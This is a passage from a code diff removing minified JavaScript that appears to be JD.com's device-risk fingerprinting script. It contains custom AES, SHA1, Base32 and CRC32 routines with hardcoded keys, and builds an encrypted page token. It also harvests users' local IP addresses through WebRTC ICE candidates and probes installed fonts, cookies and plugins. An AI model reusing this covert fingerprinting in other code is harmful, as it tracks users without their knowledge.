+= 16 - ) - (q = [ - (a.charCodeAt(B + 4) & 255) | - ((a.charCodeAt(B + 5) & 255) << 8) | - ((a.charCodeAt(B + 6) & 255) << 16) | - ((a.charCodeAt(B + 7) & 255) << 24), - (a.charCodeAt(B) & 255) | - ((a.charCodeAt(B + 1) & 255) << 8) | - ((a.charCodeAt(B + 2) & 255) << 16) | - ((a.charCodeAt(B + 3) & 255) << 24), - ]), - (z = [ - (a.charCodeAt(B + 12) & 255) | - ((a.charCodeAt(B + 13) & 255) << 8) | - ((a.charCodeAt(B + 14) & 255) << 16) | - ((a.charCodeAt(B + 15) & 255) << 24), - (a.charCodeAt(B + 8) & 255) | - ((a.charCodeAt(B + 9) & 255) << 8) | - ((a.charCodeAt(B + 10) & 255) << 16) | - ((a.charCodeAt(B + 11) & 255) << 24), - ]), - (q = this.x64Multiply(q, C)), - (q = this.x64Rotl(q, 31)), - (q = this.x64Multiply(q, D)), - (h = this.x64Xor(h, q)), - (h = this.x64Rotl(h, 27)), - (h = this.x64Add(h, b)), - (h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809])), - (z = this.x64Multiply(z, D)), - (z = this.x64Rotl(z, 33)), - (z = this.x64Multiply(z, C)), - (b = this.x64Xor(b, z)), - (b = this.x64Rotl(b, 31)), - (b = this.x64Add(b, h)), - (b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, 944331445])); - q = [0, 0]; - z = [0, 0]; - switch (c) { - case 15: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); - case 14: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); - case 13: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); - case 12: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); - case 11: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); - case 10: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); - case 9: - (z = this.x64Xor(z, [0, a.charCodeAt(B + 8)])), - (z = this.x64Multiply(z, D)), - (z = this.x64Rotl(z, 33)), - (z = this.x64Multiply(z, C)), - (b = this.x64Xor(b, z)); - case 8: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); - case 7: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); - case 6: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); - case 5: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); - case 4: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); - case 3: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); - case 2: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); - case 1: - (q = this.x64Xor(q, [0, a.charCodeAt(B)])), - (q = this.x64Multiply(q, C)), - (q = this.x64Rotl(q, 31)), - (q = this.x64Multiply(q, D)), - (h = this.x64Xor(h, q)); - } - h = this.x64Xor(h, [0, a.length]); - b = this.x64Xor(b, [0, a.length]); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - h = this.x64Fmix(h); - b = this.x64Fmix(b); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - return ( - ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + - ("00000000" + (h[1] >>> 0).toString(16)).slice(-8) + - ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + - ("00000000" + (b[1] >>> 0).toString(16)).slice(-8) - ); - }, - }; -} - -var JDDSecCryptoJS = - JDDSecCryptoJS || - (function (t, u) { - var v = {}, - x = (v.lib = {}), - w = (x.Base = (function () { - function g() {} - - return { - extend: function (m) { - g.prototype = this; - var a = new g(); - m && a.mixIn(m); - a.hasOwnProperty("init") || - (a.init = function () { - a.$super.init.apply(this, arguments); - }); - a.init.prototype = a; - a.$super = this; - return a; - }, - create: function () { - var m = this.extend(); - m.init.apply(m, arguments); - return m; - }, - init: function () {}, - mixIn: function (m) { - for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); - m.hasOwnProperty("toString") && (this.toString = m.toString); - }, - clone: function () { - return this.init.prototype.extend(this); - }, - }; - })()), - A = (x.WordArray = w.extend({ - init: function (g, m) { - g = this.words = g || []; - this.sigBytes = m != u ? m : 4 * g.length; - }, - toString: function (g) { - return (g || n).stringify(this); - }, - concat: function (g) { - var m = this.words, - a = g.words, - b = this.sigBytes; - g = g.sigBytes; - this.clamp(); - if (b % 4) - for (var c = 0; c < g; c++) - m[(b + c) >>> 2] |= - ((a[c >>> 2] >>> (24 - (c % 4) * 8)) & 255) << - (24 - ((b + c) % 4) * 8); - else if (65535 < a.length) - for (c = 0; c < g; c += 4) m[(b + c) >>> 2] = a[c >>> 2]; - else m.push.apply(m, a); - this.sigBytes += g; - return this; - }, - clamp: function () { - var g = this.words, - m = this.sigBytes; - g[m >>> 2] &= 4294967295 << (32 - (m % 4) * 8); - g.length = t.ceil(m / 4); - }, - clone: function () { - var g = w.clone.call(this); - g.words = this.words.slice(0); - return g; - }, - random: function (g) { - for (var m = [], a = 0; a < g; a += 4) - m.push((4294967296 * t.random()) | 0); - return new A.init(m, g); - }, - })); - x.UUID = w.extend({ - generateUuid: function () { - for ( - var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), - m = 0, - a = g.length; - m < a; - m++ - ) - switch (g[m]) { - case "x": - g[m] = t.floor(16 * t.random()).toString(16); - break; - case "y": - g[m] = (t.floor(4 * t.random()) + 8).toString(16); - } - return g.join(""); - }, - }); - var y = (v.enc = {}), - n = (y.Hex = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - var a = []; - for (var b = 0; b < g; b++) { - var c = (m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255; - a.push((c >>> 4).toString(16)); - a.push((c & 15).toString(16)); - } - return a.join(""); - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b += 2) - a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << (24 - (b % 8) * 4); - return new A.init(a, m / 2); - }, - }), - e = (y.Latin1 = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - for (var a = [], b = 0; b < g; b++) - a.push( - String.fromCharCode((m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255) - ); - return a.join(""); - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b++) - a[b >>> 2] |= (g.charCodeAt(b) & 255) << (24 - (b % 4) * 8); - return new A.init(a, m); - }, - }), - f = (y.Utf8 = { - stringify: function (g) { - try { - return decodeURIComponent(escape(e.stringify(g))); - } catch (m) { - throw Error("Malformed UTF-8 data"); - } - }, - parse: function (g) { - return e.parse(unescape(encodeURIComponent(g))); - }, - }), - r = (x.BufferedBlockAlgorithm = w.extend({ - reset: function () { - this._data = new A.init(); - this._nDataBytes = 0; - }, - _append: function (g) { - "string" == typeof g && (g = f.parse(g)); - this._data.concat(g); - this._nDataBytes += g.sigBytes; - }, - _process: function (g) { - var m = this._data, - a = m.words, - b = m.sigBytes, - c = this.blockSize, - l = b / (4 * c); - l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); - g = l * c; - b = t.min(4 * g, b); - if (g) { - for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); - h = a.splice(0, g); - m.sigBytes -= b; - } - return new A.init(h, b); - }, - clone: function () { - var g = w.clone.call(this); - g._data = this._data.clone(); - return g; - }, - _minBufferSize: 0, - })); - x.Hasher = r.extend({ - cfg: w.extend(), - init: function (g) { - this.cfg = this.cfg.extend(g); - this.reset(); - }, - reset: function () { - r.reset.call(this); - this._doReset(); - }, - update: function (g) { - this._append(g); - this._process(); - return this; - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize(); - }, - blockSize: 16, - _createHelper: function (g) { - return function (m, a) { - return new g.init(a).finalize(m); - }; - }, - _createHmacHelper: function (g) { - return function (m, a) { - return new k.HMAC.init(g, a).finalize(m); - }; - }, - }); - var k = (v.algo = {}); - v.channel = {}; - return v; - })(Math); -JDDSecCryptoJS.lib.Cipher || - (function (t) { - var u = JDDSecCryptoJS, - v = u.lib, - x = v.Base, - w = v.WordArray, - A = v.BufferedBlockAlgorithm, - y = (v.Cipher = A.extend({ - cfg: x.extend(), - createEncryptor: function (g, m) { - return this.create(this._ENC_XFORM_MODE, g, m); - }, - createDecryptor: function (g, m) { - return this.create(this._DEC_XFORM_MODE, g, m); - }, - init: function (g, m, a) { - this.cfg = this.cfg.extend(a); - this._xformMode = g; - this._key = m; - this.reset(); - }, - reset: function () { - A.reset.call(this); - this._doReset(); - }, - process: function (g) { - this._append(g); - return this._process(); - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize(); - }, - keySize: 4, - ivSize: 4, - _ENC_XFORM_MODE: 1, - _DEC_XFORM_MODE: 2, - _createHelper: (function () { - function g(m) { - if ("string" != typeof m) return k; - } - - return function (m) { - return { - encrypt: function (a, b, c) { - return g(b).encrypt(m, a, b, c); - }, - decrypt: function (a, b, c) { - return g(b).decrypt(m, a, b, c); - }, - }; - }; - })(), - })); - v.StreamCipher = y.extend({ - _doFinalize: function () { - return this._process(!0); - }, - blockSize: 1, - }); - var n = (u.mode = {}), - e = (v.BlockCipherMode = x.extend({ - createEncryptor: function (g, m) { - return this.Encryptor.create(g, m); - }, - createDecryptor: function (g, m) { - return this.Decryptor.create(g, m); - }, - init: function (g, m) { - this._cipher = g; - this._iv = m; - }, - })); - n = n.CBC = (function () { - function g(a, b, c) { - var l = this._iv; - l ? (this._iv = t) : (l = this._prevBlock); - for (var h = 0; h < c; h++) a[b + h] ^= l[h]; - } - - var m = e.extend(); - m.Encryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize; - g.call(this, a, b, l); - c.encryptBlock(a, b); - this._prevBlock = a.slice(b, b + l); - }, - }); - m.Decryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize, - h = a.slice(b, b + l); - c.decryptBlock(a, b); - g.call(this, a, b, l); - this._prevBlock = h; - }, - }); - return m; - })(); - var f = ((u.pad = {}).Pkcs7 = { - pad: function (g, m) { - m *= 4; - m -= g.sigBytes % m; - for ( - var a = (m << 24) | (m << 16) | (m << 8) | m, b = [], c = 0; - c < m; - c += 4 - ) - b.push(a); - m = w.create(b, m); - g.concat(m); - }, - unpad: function (g) { - g.sigBytes -= g.words[(g.sigBytes - 1) >>> 2] & 255; - }, - }); - v.BlockCipher = y.extend({ - cfg: y.cfg.extend({ - mode: n, - padding: f, - }), - reset: function () { - y.reset.call(this); - var g = this.cfg, - m = g.iv; - g = g.mode; - if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; - else (a = g.createDecryptor), (this._minBufferSize = 1); - this._mode = a.call(g, this, m && m.words); - }, - _doProcessBlock: function (g, m) { - this._mode.processBlock(g, m); - }, - _doFinalize: function () { - var g = this.cfg.padding; - if (this._xformMode == this._ENC_XFORM_MODE) { - g.pad(this._data, this.blockSize); - var m = this._process(!0); - } else (m = this._process(!0)), g.unpad(m); - return m; - }, - blockSize: 4, - }); - var r = (v.CipherParams = x.extend({ - init: function (g) { - this.mixIn(g); - }, - toString: function (g) { - return (g || this.formatter).stringify(this); - }, - })); - u.format = {}; - var k = (v.SerializableCipher = x.extend({ - cfg: x.extend({}), - encrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - var c = g.createEncryptor(a, b); - m = c.finalize(m); - c = c.cfg; - return r.create({ - ciphertext: m, - key: a, - iv: c.iv, - algorithm: g, - mode: c.mode, - padding: c.padding, - blockSize: g.blockSize, - formatter: b.format, - }); - }, - decrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - m = this._parse(m, b.format); - return g.createDecryptor(a, b).finalize(m.ciphertext); - }, - _parse: function (g, m) { - return "string" == typeof g ? m.parse(g, this) : g; - }, - })); - })(); -(function () { - var t = JDDSecCryptoJS, - u = t.lib.BlockCipher, - v = t.algo, - x = [], - w = [], - A = [], - y = [], - n = [], - e = [], - f = [], - r = [], - k = [], - g = []; - (function () { - for (var a = [], b = 0; 256 > b; b++) - a[b] = 128 > b ? b << 1 : (b << 1) ^ 283; - var c = 0, - l = 0; - for (b = 0; 256 > b; b++) { - var h = l ^ (l << 1) ^ (l << 2) ^ (l << 3) ^ (l << 4); - h = (h >>> 8) ^ (h & 255) ^ 99; - x[c] = h; - w[h] = c; - var q = a[c], - z = a[q], - C = a[z], - D = (257 * a[h]) ^ (16843008 * h); - A[c] = (D << 24) | (D >>> 8); - y[c] = (D << 16) | (D >>> 16); - n[c] = (D << 8) | (D >>> 24); - e[c] = D; - D = (16843009 * C) ^ (65537 * z) ^ (257 * q) ^ (16843008 * c); - f[h] = (D << 24) | (D >>> 8); - r[h] = (D << 16) | (D >>> 16); - k[h] = (D << 8) | (D >>> 24); - g[h] = D; - c ? ((c = q ^ a[a[a[C ^ q]]]), (l ^= a[a[l]])) : (c = l = 1); - } - })(); - var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; - v = v.AES = u.extend({ - _doReset: function () { - var a = this._key, - b = a.words, - c = a.sigBytes / 4; - a = 4 * ((this._nRounds = c + 6) + 1); - for (var l = (this._keySchedule = []), h = 0; h < a; h++) - if (h < c) l[h] = b[h]; - else { - var q = l[h - 1]; - h % c - ? 6 < c && - 4 == h % c && - (q = - (x[q >>> 24] << 24) | - (x[(q >>> 16) & 255] << 16) | - (x[(q >>> 8) & 255] << 8) | - x[q & 255]) - : ((q = (q << 8) | (q >>> 24)), - (q = - (x[q >>> 24] << 24) | - (x[(q >>> 16) & 255] << 16) | - (x[(q >>> 8) & 255] << 8) | - x[q & 255]), - (q ^= m[(h / c) | 0] << 24)); - l[h] = l[h - c] ^ q; - } - b = this._invKeySchedule = []; - for (c = 0; c < a; c++) - (h = a - c), - (q = c % 4 ? l[h] : l[h - 4]), - (b[c] = - 4 > c || 4 >= h - ? q - : f[x[q >>> 24]] ^ - r[x[(q >>> 16) & 255]] ^ - k[x[(q >>> 8) & 255]] ^ - g[x[q & 255]]); - }, - encryptBlock: function (a, b) { - this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x); - }, - decryptBlock: function (a, b) { - var c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); - c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - }, - _doCryptBlock: function (a, b, c, l, h, q, z, C) { - for ( - var D = this._nRounds, - B = a[b] ^ c[0], - F = a[b + 1] ^ c[1], - H = a[b + 2] ^ c[2], - G = a[b + 3] ^ c[3], - I = 4, - M = 1; - M < D; - M++ - ) { - var J = - l[B >>> 24] ^ - h[(F >>> 16) & 255] ^ - q[(H >>> 8) & 255] ^ - z[G & 255] ^ - c[I++], - K = - l[F >>> 24] ^ - h[(H >>> 16) & 255] ^ - q[(G >>> 8) & 255] ^ - z[B & 255] ^ - c[I++], - L = - l[H >>> 24] ^ - h[(G >>> 16) & 255] ^ - q[(B >>> 8) & 255] ^ - z[F & 255] ^ - c[I++]; - G = - l[G >>> 24] ^ - h[(B >>> 16) & 255] ^ - q[(F >>> 8) & 255] ^ - z[H & 255] ^ - c[I++]; - B = J; - F = K; - H = L; - } - J = - ((C[B >>> 24] << 24) | - (C[(F >>> 16) & 255] << 16) | - (C[(H >>> 8) & 255] << 8) | - C[G & 255]) ^ - c[I++]; - K = - ((C[F >>> 24] << 24) | - (C[(H >>> 16) & 255] << 16) | - (C[(G >>> 8) & 255] << 8) | - C[B & 255]) ^ - c[I++]; - L = - ((C[H >>> 24] << 24) | - (C[(G >>> 16) & 255] << 16) | - (C[(B >>> 8) & 255] << 8) | - C[F & 255]) ^ - c[I++]; - G = - ((C[G >>> 24] << 24) | - (C[(B >>> 16) & 255] << 16) | - (C[(F >>> 8) & 255] << 8) | - C[H & 255]) ^ - c[I++]; - a[b] = J; - a[b + 1] = K; - a[b + 2] = L; - a[b + 3] = G; - }, - keySize: 8, - }); - t.AES = u._createHelper(v); -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib, - v = u.WordArray, - x = u.Hasher, - w = []; - u = t.algo.SHA1 = x.extend({ - _doReset: function () { - this._hash = new v.init([ - 1732584193, 4023233417, 2562383102, 271733878, 3285377520, - ]); - }, - _doProcessBlock: function (A, y) { - for ( - var n = this._hash.words, - e = n[0], - f = n[1], - r = n[2], - k = n[3], - g = n[4], - m = 0; - 80 > m; - m++ - ) { - if (16 > m) w[m] = A[y + m] | 0; - else { - var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; - w[m] = (a << 1) | (a >>> 31); - } - a = ((e << 5) | (e >>> 27)) + g + w[m]; - a = - 20 > m - ? a + (((f & r) | (~f & k)) + 1518500249) - : 40 > m - ? a + ((f ^ r ^ k) + 1859775393) - : 60 > m - ? a + (((f & r) | (f & k) | (r & k)) - 1894007588) - : a + ((f ^ r ^ k) - 899497514); - g = k; - k = r; - r = (f << 30) | (f >>> 2); - f = e; - e = a; - } - n[0] = (n[0] + e) | 0; - n[1] = (n[1] + f) | 0; - n[2] = (n[2] + r) | 0; - n[3] = (n[3] + k) | 0; - n[4] = (n[4] + g) | 0; - }, - _doFinalize: function () { - var A = this._data, - y = A.words, - n = 8 * this._nDataBytes, - e = 8 * A.sigBytes; - y[e >>> 5] |= 128 << (24 - (e % 32)); - y[(((e + 64) >>> 9) << 4) + 14] = Math.floor(n / 4294967296); - y[(((e + 64) >>> 9) << 4) + 15] = n; - A.sigBytes = 4 * y.length; - this._process(); - return this._hash; - }, - clone: function () { - var A = x.clone.call(this); - A._hash = this._hash.clone(); - return A; - }, - }); - t.SHA1 = x._createHelper(u); - t.HmacSHA1 = x._createHmacHelper(u); -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.channel; - u.Downlink = { - deBase32: function (v) { - if (void 0 == v || "" == v || null == v) return ""; - var x = t.enc.Hex.parse("30313233343536373839616263646566"), - w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); - return t.AES.decrypt( - { - ciphertext: t.enc.Base32.parse(v), - }, - w, - { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: x, - } - ).toString(t.enc.Utf8); - }, - deBase64: function (v) { - return ""; - }, - }; - u.Uplink = { - enAsBase32: function (v) { - return ""; - }, - enAsBase64: function (v) { - return ""; - }, - }; -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib.WordArray; - t.enc.Base32 = { - stringify: function (v) { - var x = v.words, - w = v.sigBytes, - A = this._map; - v.clamp(); - v = []; - for (var y = 0; y < w; y += 5) { - for (var n = [], e = 0; 5 > e; e++) - n[e] = (x[(y + e) >>> 2] >>> (24 - ((y + e) % 4) * 8)) & 255; - n = [ - (n[0] >>> 3) & 31, - ((n[0] & 7) << 2) | ((n[1] >>> 6) & 3), - (n[1] >>> 1) & 31, - ((n[1] & 1) << 4) | ((n[2] >>> 4) & 15), - ((n[2] & 15) << 1) | ((n[3] >>> 7) & 1), - (n[3] >>> 2) & 31, - ((n[3] & 3) << 3) | ((n[4] >>> 5) & 7), - n[4] & 31, - ]; - for (e = 0; 8 > e && y + 0.625 * e < w; e++) v.push(A.charAt(n[e])); - } - if ((x = A.charAt(32))) for (; v.length % 8; ) v.push(x); - return v.join(""); - }, - parse: function (v) { - var x = v.length, - w = this._map, - A = w.charAt(32); - A && ((A = v.indexOf(A)), -1 != A && (x = A)); - A = []; - for (var y = 0, n = 0; n < x; n++) { - var e = n % 8; - if (0 != e && 2 != e && 5 != e) { - var f = 255 & (w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8), - r = 255 & (w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8); - e = - e % 3 ? 0 : 255 & (w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7)); - A[y >>> 2] |= (f | r | e) << (24 - (y % 4) * 8); - y++; - } - } - return u.create(A, y); - }, - _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", - }; -})(); - -class JDDMAC { - static t() { - return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" - .split(" ") - .map(function (v) { - return parseInt(v, 16); - }); - } - - mac(v) { - for (var x = -1, w = 0, A = v.length; w < A; w++) - x = (x >>> 8) ^ t[(x ^ v.charCodeAt(w)) & 255]; - return (x ^ -1) >>> 0; - } -} - -var _CurrentPageProtocol = - "https:" == document.location.protocol ? "https://" : "http://", - _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", - _url_query_str = "", - _root_domain = "", - _CurrentPageUrl = (function () { - var t = document.location.href.toString(); - try { - _root_domain = - /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec( - t - )[1]; - } catch (v) {} - var u = t.indexOf("?"); - 0 < u && - ((_url_query_str = t.substring(u + 1)), - 500 < _url_query_str.length && - (_url_query_str = _url_query_str.substring(0, 499)), - (t = t.substring(0, u))); - return (t = t.substring(_CurrentPageProtocol.length)); - })(), - jd_shadow__ = (function () { - try { - var t = JDDSecCryptoJS, - u = []; - u.push(_CurrentPageUrl); - var v = t.lib.UUID.generateUuid(); - u.push(v); - var x = new Date().getTime(); - u.push(x); - var w = t.SHA1(u.join("")).toString().toUpperCase(); - u = []; - u.push("JD3"); - u.push(w); - var A = new JDDMAC().mac(u.join("")); - u.push(A); - var y = t.enc.Hex.parse("30313233343536373839616263646566"), - n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), - e = u.join(""); - return t.AES.encrypt(t.enc.Utf8.parse(e), n, { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: y, - }).ciphertext.toString(t.enc.Base32); - } catch (f) { - console.log(f); - } - })(); -var td_collect = new (function () { - function t() { - var n = - window.webkitRTCPeerConnection || - window.mozRTCPeerConnection || - window.RTCPeerConnection; - if (n) { - var e = function (k) { - var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, - m = - /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; - try { - var a = g.exec(k); - if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); - var b = a[1]; - void 0 === f[b] && w.push(b); - f[b] = !0; - } catch (c) {} - }, - f = {}; - try { - var r = new n({ - iceServers: [ - { - url: "stun:stun.services.mozilla.com", - }, - ], - }); - } catch (k) {} - try { - void 0 === r && - (r = new n({ - iceServers: [], - })); - } catch (k) {} - if (r || window.mozRTCPeerConnection) - try { - r.createDataChannel("chat", { - reliable: !1, - }); - } catch (k) {} - r && - ((r.onicecandidate = function (k) { - k.candidate && e(k.candidate.candidate); - }), - r.createOffer( - function (k) { - r.setLocalDescription( - k, - function () {}, - function () {} - ); - }, - function () {} - ), - setTimeout(function () { - try { - r.localDescription.sdp.split("\n").forEach(function (k) { - 0 === k.indexOf("a=candidate:") && e(k); - }); - } catch (k) {} - }, 800)); - } - } - - function u(n) { - var e; - return (e = document.cookie.match( - new RegExp("(^| )" + n + "=([^;]*)(;|$)") - )) - ? e[2] - : ""; - } - - function v() { - function n(g) { - var m = {}; - r.style.fontFamily = g; - document.body.appendChild(r); - m.height = r.offsetHeight; - m.width = r.offsetWidth; - document.body.removeChild(r); - return m; - } - - var e = ["monospace", "sans-serif", "serif"], - f = [], - r = document.createElement("span"); - r.style.fontSize = "72px"; - r.style.visibility = "hidden"; - r.innerHTML = "mmmmmmmmmmlli"; - for (var k = 0; k < e.length; k++) f[k] = n(e[k]); - this.checkSupportFont = function (g) { - for (var m = 0; m < f.length; m++) { - var a = n(g + "," + e[m]), - b = f[m]; - if (a.height !== b.height || a.width !== b.width) return !0; - } - return !1; - }; - } - - function x(n) { - var e = {}; - e.name = n.name; - e.filename = n.filename.toLowerCase(); - e.description = n.description; - void 0 !== n.version && (e.version = n.version); - e.mimeTypes = []; - for (var f = 0; f < n.length; f++) { - var r = n[f], - k = {}; - k.description = r.description; - k.suffixes = r.suffixes; - k.type = r.type; - e.mimeTypes.push(k); - } - return e; - } - - this.bizId = ""; - this.bioConfig = { - type: "42", - operation: 1, - duraTime: 2, - interval: 50, - }; - this.worder = null; - this.deviceInfo = { - userAgent: "", - isJdApp: !1, - isJrApp: !1, - sdkToken: "", - fp: 